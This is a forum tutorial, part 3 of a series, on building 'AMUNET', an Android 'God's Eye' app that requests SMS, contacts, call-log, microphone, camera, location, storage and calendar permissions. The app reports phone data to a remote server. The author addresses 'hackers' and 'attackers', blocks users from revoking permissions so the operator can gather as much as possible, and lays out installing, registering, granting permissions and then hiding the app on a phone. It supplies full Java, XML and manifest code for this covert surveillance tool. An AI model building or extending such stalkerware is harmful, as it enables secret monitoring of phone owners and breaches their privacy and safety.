Building a God’s Eye Android App: Part 3 - Permission Granting

Greetings my fellow hackers,

As we continue with our series, the AMUNET app becomes complicated with new functionalities and structures to understand. We’ll sail right through. As stated earlier in previous tutorials, the app doesn’t fully exists because I build them before I share so forgive me if it takes sometime before a tutorial comes out. I need to make sure everything works well first.

PREVIOUS TUTORIALS

Below are the tutorials covered so far.

  1. Introduction to Amunet
  2. Get Installed Apps
  3. Sending Information to Web Server

TODAY’S TUTORIAL

In today’s tutorial, we are going to grant ourselves permission to the various functionalities of the android operating system.

RUNTIME REQUESTS ( ANDROID 6.0 AND HIGHER - DEVELOPER.ANDROID.COM )

If the device is running Android 6.0 (API level 23) or higher, and the app’s targetSdkVersion is 23 or higher, the user isn’t notified of any app permissions at install time. Your app must ask the user to grant the dangerous permissions at runtime. When your app requests permission, the user sees a system dialog (as shown in figure 1, left) telling the user which permission group your app is trying to access. The dialog includes a Deny and Allow button.

If the user denies the permission request, the next time your app requests the permission, the dialog contains a checkbox that, when checked, indicates the user doesn’t want to be prompted for the permission again (see figure 2, right).

If the user checks the Never ask again box and taps Deny, the system no longer prompts the user if you later attempt to requests the same permission.

INSTALL TIME REQUESTS ( ANDROID 5.1.1 AND BELOW )

If the device is running Android 5.1.1 (API level 22) or lower, or the app’s targetSdkVersion is 22 or lower while running on any version of Android, the system automatically asks the user to grant all dangerous permissions for your app at install-time (see figure 2).

If the user clicks Accept, all permissions the app requests are granted. If the user denies the permissions request, the system cancels the installation of the app.

The purpose of a permission is to protect the privacy of an Android user. Android apps must request permission to access sensitive user data (such as contacts and SMS), as well as certain system features (such as camera and internet). Depending on the feature, the system might grant the permission automatically or might prompt the user to approve the request.

The tutorials to follow will need access to certain permissions as they are not granted by default. We need to request them now. In this tutorial, I will take the simplest approach ( to me ) to ask for all the permissions I can think about. You should add any permission ( aside Device Admin and Boot Startup - for later ). This tutorial follows after the registration tutorial so make sure you are following sequentially.

From the previous tutorial, if you used my test server, you should have your phone information displayed.

04

We have only sent information about installed apps to the server so that’s what we’ve got now. As we progress, the pages will be added. The counters for the other features like Browser History, Storage are zero because we’ve not accessed them yet ( Permissions needed ).

AT THE END OF THE TUTORIAL

This will be the final result of our interface

pic

We might write codes for every permission but if you don’t grant them during installation. The functions under those permissions won’t work. So let’s recap the whole process.

  1. First, install the app
  2. Register the phone to your amunet cloud account ( That is, if you are using my test server )
  3. Allow the permissions
  4. Hide the app and done.

This process can take like 5 - 10 minutes depending on how fast you are.

Let’s begin.

INTERFACE FOR DASHBOARD

We now have two activities ( UI Interfaces ) for our app: MainActivity and Dashboard respectively. They are both BASIC ACTIVITY layouts, created in the previous tutorials. For every basic activity created, two layout files are generated: activity_(layout_name) and content_(layout_name) which in our case is activity_dashboard and content_dashboard ( Dashboard UI ). We will create our UI in the content_dashboard file. Let’s head over to the file and code.

We won’t add any element or UI object but one. Guess the element ( Its a View element ) ?

It’s a …

Summary

Recycler View.

Drag and drop a Recycler View from the toolbox unto the content_dashboard.xml file. You should have something similar to …

<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
app:layout_behavior="@string/appbar_scrolling_view_behavior"
tools:context=".Dashboard"
tools:showIn="@layout/activity_dashboard">

<android.support.v7.widget.RecyclerView
    android:layout_width="match_parent"
    android:id="@+id/dashboard_recycler_view"
    android:layout_height="wrap_content" />

</RelativeLayout>

The id assigned to our recycler view is dashboard_recycler_view ( take note ). Done.

The recycler view simply holds the view and therefore needs a layout design file to populate it. It’s just like a container. The layout design file are the boxes that are placed inside the container. Hope you get it. More read on RecyclerViews on Google.

To create a layout design file, simply right click on the layout directory under res in Android Studio and select New -> Layout resource file and give it a name. For this tutorial, we will name it recycler_items. If you name it anything else, do well to correct it in the code otherwise your RecyclerView won’t be populated ( that is, if you Android Studio compiles it ).

The layout file should be created under the res -> layout directory.

RECYCLER_ITEMS.XML

This file will only hold one UI object. The object is a Switch ( Toggle - ON / OFF ). Every one knows a switch. A baby even does so no explanation here. By default, our toggle will be off. When we toggle it ( ON ), it asks us for the permission. This is the code.

<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout
xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:padding="10dp"
android:layout_height="wrap_content">

<Switch
    android:layout_width="match_parent"
    android:text="Permission Name"
    android:id="@+id/permission_switch"
    android:textOff="Denied"
    android:textOn="Allowed"
    android:layout_height="wrap_content" />

</RelativeLayout>

Hope we are all on the same page. Easy right ?

If you’ve ever worked with a recycler view, you know that it needs an adapter and list class to populate it. Read more on Google. Check out Android Working with Recycler View.

CREATING A RECYCLER LIST CLASS

We need a list that is passed to the adapter and the adapter in turn populates the recycler view with the list. Create a new java class name it RecyclerJava.

When it is created, you should have an empty class. Lets write our code

String permission_name;
String[] permission_identifier;
int permission_request_code;

public String getPermission_name() {
    return permission_name;
}

public String[] getPermission_identifier() {
    return permission_identifier;
}

public int getPermission_request_code() {
    return permission_request_code;
}

public RecyclerJava(String permission_name, String[] permission_identifier, int permission_request_code) {
    this.permission_identifier = permission_identifier;
    this.permission_name = permission_name;
    this.permission_request_code = permission_request_code;
}

Before I explain the codes, lets first understand the logic.

The switch object we created earlier ( recycler_items.xml ) will need a text showing what it stands for, permission it should request when toggled and the permission request code.

In Android, to request a permission, we need a request code. The Request code help us identify the permission later on and determine if it was granted or denied.

  1. String permission_name - The text that is displayed on the Switch object eg Camera, Contacts.
  2. String[] permission_identifier - Some phone functionalities ( like CAMERA, MIC, VIBRATION ) need only one permission whilst other functionalities ( like GPS, CALENDAR) need multiple permission requests. The string array allows both scenarios to be satisfied.
  3. int permission_request_code - Request codes helps us determine if the permission was granted or not.
  4. The remaining 3 functions below the above are getters.
  5. The last function is a constructor that takes data from the user and updates the Class.

CREATING A RECYCLER ADAPTER CLASS

Recycler adapter classes are quite tricky and a personal choice depending on how you want to achieve your goal. I always have difficulty with adapter classes but managed to push through for this tutorial. It should work for our series.

What the adapter does is, it takes the list objects from the RecyclerJava class passed to it, finds the switch object in recycler_items.xml and makes sure the codes within the adapter for a particular view or object are executed. You’ll understand more as we go on. Create a new java class name it RecyclerAdapter.

When it is created, you should have an empty class. Lets write our code.

package <package name goes here>

import android.content.Context;
import android.content.pm.PackageManager;
import android.support.v4.app.ActivityCompat;
import android.support.v7.widget.RecyclerView;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.CompoundButton;
import android.widget.Switch;
import android.widget.Toast;

import java.util.List;

public class RecyclerAdapter extends RecyclerView.Adapter<RecyclerAdapter.MyViewHolder> {

private List<RecyclerJava> recyclerJava;

public class MyViewHolder extends RecyclerView.ViewHolder {

    Switch aSwitch;
    Context context;

    private String[] permission_identifier;
    private int permission_request_code;

    public MyViewHolder(View view) {
        super(view);
        context = view.getContext();

        aSwitch = view.findViewById(R.id.permission_switch);
        aSwitch.setChecked(false);
    }
}

public RecyclerAdapter(List<RecyclerJava> recyclerList) {
    this.recyclerJava = recyclerList;
}

@Override
public MyViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {
    View itemView = LayoutInflater.from(parent.getContext())
            .inflate(R.layout.recycler_items, parent, false);

    return new MyViewHolder(itemView);
}

@Override
public void onBindViewHolder(final MyViewHolder holder, int position) {
    RecyclerJava data = recyclerJava.get(position);

    String permission_name = data.getPermission_name();
    holder.permission_identifier = data.getPermission_identifier();
    holder.permission_request_code = data.getPermission_request_code();

    holder.aSwitch.setText(permission_name.toUpperCase());

    if(ActivityCompat.checkSelfPermission(holder.context, holder.permission_identifier[0]) != PackageManager.PERMISSION_GRANTED) {
        holder.aSwitch.setChecked(false);
    } else {
        holder.aSwitch.setChecked(true);
    }

    holder.aSwitch.setOnCheckedChangeListener( new CompoundButton.OnCheckedChangeListener() {
        @Override
        public void onCheckedChanged(CompoundButton compoundButton, boolean b) {

            if(b) {
                ((Dashboard)holder.context).PermissionRequestHandler(holder.permission_identifier, holder.permission_request_code);
            } else {
                holder.aSwitch.setChecked(true);
                Toast.makeText(holder.context, "Action Not Permitted", Toast.LENGTH_LONG).show();
            }
        }
    });

    holder.setIsRecyclable(false);
}

@Override
public int getItemCount() {
    return recyclerJava.size();
}

}

Lets take it bit by bit.

1 - In the onCreateViewHolder method ( prolly line 43 ), the method takes the recycler_items.xml layout file and populates it into the recyclerview. The layout file holds sub views which is accessed by the adapter class.

If you try accessing any other view outside the ones specified in the defined layout file, prepare yourself for a crash landing course with Android Studio. You won’t make it far. :rofl:.

2 - Within the MyViewHolder sub class public class MyViewHolder extends RecyclerView.ViewHolder {, we need to get a reference to our ui objects before we can access them. Don’t do long running codes in this method ( in my experience ).

3 - Every method needs a constructor ( I think ) and so does our adapter class. In public RecyclerAdapter(List<RecyclerJava> recyclerList) {, we accept a list argument ( parameter ). Through this constructor, we can take our list and populate our view with it.

4 - Last but one

  • The method public void onBindViewHolder(final MyViewHolder holder, int position) { allows us to assign the data from the list to the ui objects in the passed layout file ( onCreateViewHolder method ).

  • In this method, the views from the layout files are accessed through the holder variable. We get the data from the list through the getters we added in the RecyclerJava class created earlier.

  • We check if the permission array passed to the adapter has already granted or denied, the appropriate actions are executed.

  • If permission is already granted, the switch is toggled on, when it’s not, it’s toggled off. As a hacker or attacker, you won’t need to turn a permission off because you would want to gather as much information as you could so I therefore disabled the toggling off permissions.

  • If a permission hasn’t been granted ( maybe first time install ), we call a PermissionRequestHandler method from the DashBoard.java file ( discussed later ) when the switch is toggled on.

  • The PermissionRequestHandler method takes two parameter: the permission identifier ( string array) and the permission request code.

5 - The last method public int getItemCount() { is important. It returns the size of the list items passed to the adapter.

Lets now head over to the Dashboard.java file and finish what we started.

DASHBOARD.JAVA

In this method, we tie up the knot and marry our activities and classes together.

We first need to declare the permission request codes below our public class declaration. We also declare our RecyclerJava list class and RecyclerAdapter class in this section.

public class Dashboard extends AppCompatActivity {

private RecyclerView recyclerView;
private List<RecyclerJava> recyclerJavaList = new ArrayList<>();
private RecyclerAdapter recyclerAdapter;

protected static final int GPS_REQUEST_CODE = 5000;
protected static final int CONTACTS_REQUEST_CODE = 5001;
protected static final int CALENDAR_REQUEST_CODE = 5002;
protected static final int MIC_REQUEST_CODE = 5003;
protected static final int CAMERA_REQUEST_CODE = 5004;
protected static final int STORAGE_REQUEST_CODE = 5005;
protected static final int SMS_REQUEST_CODE = 5006;
protected static final int GET_ACCOUNTS_REQUEST_CODE = 5007;

With that out of the way, let’s go on write the PermissionRequestHandler method declared in RecyclerAdapter class. The method takes the string array containing the various permissions needed and the appropriate request code.

protected void PermissionRequestHandler(String[] permission_identifier, int RequestCode) {
    if(ActivityCompat.checkSelfPermission(getApplicationContext(), permission_identifier[0]) != PackageManager.PERMISSION_GRANTED) {
        ActivityCompat.requestPermissions(Dashboard.this, permission_identifier, RequestCode);
    }
}

Whenever a permission is requested in android, the result is not received in the calling method but instead is received in another method ( like a callback ). The callback method is onRequestPermissionsResult.

@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
    super.onRequestPermissionsResult(requestCode, permissions, grantResults);

    switch (requestCode) {
        case GPS_REQUEST_CODE: {
            if (grantResults.length > 0 && grantResults[0] != PackageManager.PERMISSION_GRANTED) {
                Toast.makeText(getApplicationContext(), "GPS Permission Denied", Toast.LENGTH_LONG).show();
            }
            updateRecycler();
        }
        case SMS_REQUEST_CODE: {
            if (grantResults.length > 0 && grantResults[0] != PackageManager.PERMISSION_GRANTED) {
                Toast.makeText(getApplicationContext(), "SMS Permission Denied", Toast.LENGTH_LONG).show();
            }
            updateRecycler();
        }
        case GET_ACCOUNTS_REQUEST_CODE: {
            if (grantResults.length > 0 && grantResults[0] != PackageManager.PERMISSION_GRANTED) {
                Toast.makeText(getApplicationContext(), "Phone Accounts Access Permission Denied", Toast.LENGTH_LONG).show();
            }
            updateRecycler();
        }
        case CAMERA_REQUEST_CODE: {
            if (grantResults.length > 0 && grantResults[0] != PackageManager.PERMISSION_GRANTED) {
                Toast.makeText(getApplicationContext(), "CAMERA Permission Denied", Toast.LENGTH_LONG).show();
            }
            updateRecycler();
        }
        case CALENDAR_REQUEST_CODE: {
            if (grantResults.length > 0 && grantResults[0] != PackageManager.PERMISSION_GRANTED) {
                Toast.makeText(getApplicationContext(), "CALENDAR Permission Denied", Toast.LENGTH_LONG).show();
            }
            updateRecycler();
        }
        case MIC_REQUEST_CODE: {
            if (grantResults.length > 0 && grantResults[0] != PackageManager.PERMISSION_GRANTED) {
                Toast.makeText(getApplicationContext(), "MIC Permission Denied", Toast.LENGTH_LONG).show();
            }
            updateRecycler();
        }
        case CONTACTS_REQUEST_CODE: {
            if (grantResults.length > 0 && grantResults[0] != PackageManager.PERMISSION_GRANTED) {
                Toast.makeText(getApplicationContext(), "CONTACTS Permission Denied", Toast.LENGTH_LONG).show();
            }
            updateRecycler();
        }
        case STORAGE_REQUEST_CODE: {
            if (grantResults.length > 0 && grantResults[0] != PackageManager.PERMISSION_GRANTED) {
                Toast.makeText(getApplicationContext(), "STORAGE Permission Denied", Toast.LENGTH_LONG).show();
            }
            updateRecycler();
        }
    }
}

A new method ( updateRecycler() ) is introduced in the method above. The updateRecycler() is the method where all the hard work of this tutorial is tied into. The method passes the information to the adapter which in turn populates the recyclerview. Let’s dive right into it.

private void updateRecycler() {

    recyclerJavaList.clear();

    RecyclerJava sms_permission = new RecyclerJava("SMS",
            new String[] {Manifest.permission.READ_SMS, Manifest.permission.SEND_SMS, Manifest.permission.RECEIVE_SMS}, SMS_REQUEST_CODE);
    recyclerJavaList.add(sms_permission);

    RecyclerJava accounts_permission = new RecyclerJava("ACCOUNTS",
            new String[] {Manifest.permission.GET_ACCOUNTS}, GET_ACCOUNTS_REQUEST_CODE);
    recyclerJavaList.add(accounts_permission);

    RecyclerJava camera_permission = new RecyclerJava("Camera",
            new String[] {Manifest.permission.CAMERA}, CAMERA_REQUEST_CODE);
    recyclerJavaList.add(camera_permission);

    RecyclerJava filesystem_permission = new RecyclerJava("Storage",
            new String[] {Manifest.permission.READ_EXTERNAL_STORAGE, Manifest.permission.WRITE_EXTERNAL_STORAGE}, STORAGE_REQUEST_CODE);
    recyclerJavaList.add(filesystem_permission);

    RecyclerJava calendar_permission = new RecyclerJava("Calendar",
            new String[] {Manifest.permission.READ_CALENDAR, Manifest.permission.WRITE_CALENDAR}, CALENDAR_REQUEST_CODE);
    recyclerJavaList.add(calendar_permission);

    RecyclerJava gps_permission = new RecyclerJava("GPS Location",
            new String[] {Manifest.permission.ACCESS_FINE_LOCATION, Manifest.permission.ACCESS_COARSE_LOCATION}, GPS_REQUEST_CODE);
    recyclerJavaList.add(gps_permission);

    RecyclerJava mic_permission = new RecyclerJava("Record Microphone",
            new String[] {Manifest.permission.RECORD_AUDIO}, MIC_REQUEST_CODE);
    recyclerJavaList.add(mic_permission);

    RecyclerJava contact_permission = new RecyclerJava("Contacts & Call Logs",
            new String[] {Manifest.permission.READ_CONTACTS, Manifest.permission.WRITE_CONTACTS, Manifest.permission.PROCESS_OUTGOING_CALLS}, CONTACTS_REQUEST_CODE);
    recyclerJavaList.add(contact_permission);

    recyclerAdapter = new RecyclerAdapter(recyclerJavaList);
    recyclerView.setAdapter(recyclerAdapter);
    recyclerAdapter.notifyDataSetChanged();
}

The method creates a list and passes it to the adapter. Notice that some functionalities have double permissions whilst others only need one.

We need to however call this method from the onCreate method.

ONCREATE METHOD

In the onCreate, we set references ( recyclerview, adapter ) and call the needed functions ( updateRecycler ).

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_dashboard);
    Toolbar toolbar = findViewById(R.id.dashboard_toolbar);
    setSupportActionBar(toolbar);

    recyclerView = findViewById(R.id.dashboard_recycler_view);

    recyclerAdapter = new RecyclerAdapter(recyclerJavaList);
    RecyclerView.LayoutManager mLayoutManager = new LinearLayoutManager(getApplicationContext());
    recyclerView.setLayoutManager(mLayoutManager);
    recyclerView.setItemAnimator(new DefaultItemAnimator());
    recyclerView.addItemDecoration(new DividerItemDecoration(Dashboard.this, LinearLayoutManager.VERTICAL));

    updateRecycler();
}

THE IMPORT STATEMENT

Incase you are having trouble with your import statements, these are the complete import statements

import android.Manifest;
import android.content.pm.PackageManager;
import android.os.Bundle;
import android.support.annotation.NonNull;
import android.support.v4.app.ActivityCompat;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.DefaultItemAnimator;
import android.support.v7.widget.DividerItemDecoration;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.RecyclerView;
import android.support.v7.widget.Toolbar;
import android.widget.Toast;
import java.util.ArrayList;
import java.util.List;

ANDROID MANIFEST

You can have all permissions coded but if you don’t specify them in the AndroidManifest.xml file, it won’t be processed when requested. This is the complete AndroidManifest file.

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="org.a0x00sec.amunet">

<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />

<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />

<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />

<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_CONTACTS" />

<uses-permission android:name="android.permission.CAMERA" />

<uses-permission android:name="android.permission.VIBRATE" />

<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />

<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.WRITE_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />

<uses-permission android:name="android.permission.RECORD_AUDIO" />

<uses-permission android:name="com.android.browser.permission.READ_HISTORY_BOOKMARKS" />

<uses-permission android:name="android.permission.READ_CALENDAR" />
<uses-permission android:name="android.permission.WRITE_CALENDAR" />

<application
    android:allowBackup="true"
    android:icon="@mipmap/godseye"
    android:label="@string/app_name"
    android:roundIcon="@mipmap/godseye"
    android:supportsRtl="true"
    android:theme="@style/AppTheme">

    <activity
        android:name=".MainActivity"
        android:label="@string/app_name"
        android:theme="@style/AppTheme.NoActionBar">
        <intent-filter>
            <action android:name="android.intent.action.MAIN" />

            <category android:name="android.intent.category.LAUNCHER" />
        </intent-filter>
    </activity>

    <activity
        android:name=".Dashboard"
        android:label="@string/title_activity_dashboard"
        android:theme="@style/AppTheme.NoActionBar" />

</application>

</manifest>

The only changes are the permissions above the application tag.

HOUSE KEEPING

In the previous tutorial ( MainActivity.java ), under create_phone_account, we placed this line of code progressDialog.dismiss(); exactly under public void onResponse(String req) {.

It will still work but will led the user to exit the app after the registration is complete. That is the idea but if you followed from previous tutorials, we added threads to run once the registration is done. This thread will therefore be cancelled. Instead of putting the dismiss code before the CountdownTimer, we place it after it. The onResponse section of the create_phone_account method will look like this.

public void onResponse(String req) {
            // progressDialog.dismiss();

            try {

                final JSONObject response = new JSONObject(req);

                if(response.getBoolean("success")) {
                    final String server_response = response.getString("response");

                    SharedPreferences.Editor editor = sharedPreferences.edit();

                    editor.putString("auth_key", response.getString("api_key"));

                    editor.apply();

                    new Thread(new Runnable() {
                        @Override
                        public void run() {
                            collect_phone_details();
                            collect_installed_apps();
                        }
                    }).start();

                    new CountDownTimer(6000,1000) {
                        @Override
                        public void onTick(long l) {

                        }

                        @Override
                        public void onFinish() {
                            show_alert(server_response);
                        }
                    }.start();

                    username.setText("");
                    password.setText("");
                    name.setText("");

                    progressDialog.dismiss(); // New line of code
                    startActivity(new Intent(MainActivity.this, Dashboard.class));
                    finish();
                } else {
                    show_alert(response.getString("response"));
                }
            } catch (Exception e) {
                show_alert("Authentication error: " + e.getMessage());
            }
        }

That should be the end of this tutorial. You can run your app.

CONCLUSION

I would love your contributions, suggestions, feedbacks, critics, etc. Anything to help the series.

You can directly import the project into your android studio if you are having trouble.

Checkout the github repo: https://github.com/sergeantexploiter/Amunet

Until we meet again. I’m out.

#Sergeant

11 Likes

This topic was automatically closed after 30 days. New replies are no longer allowed.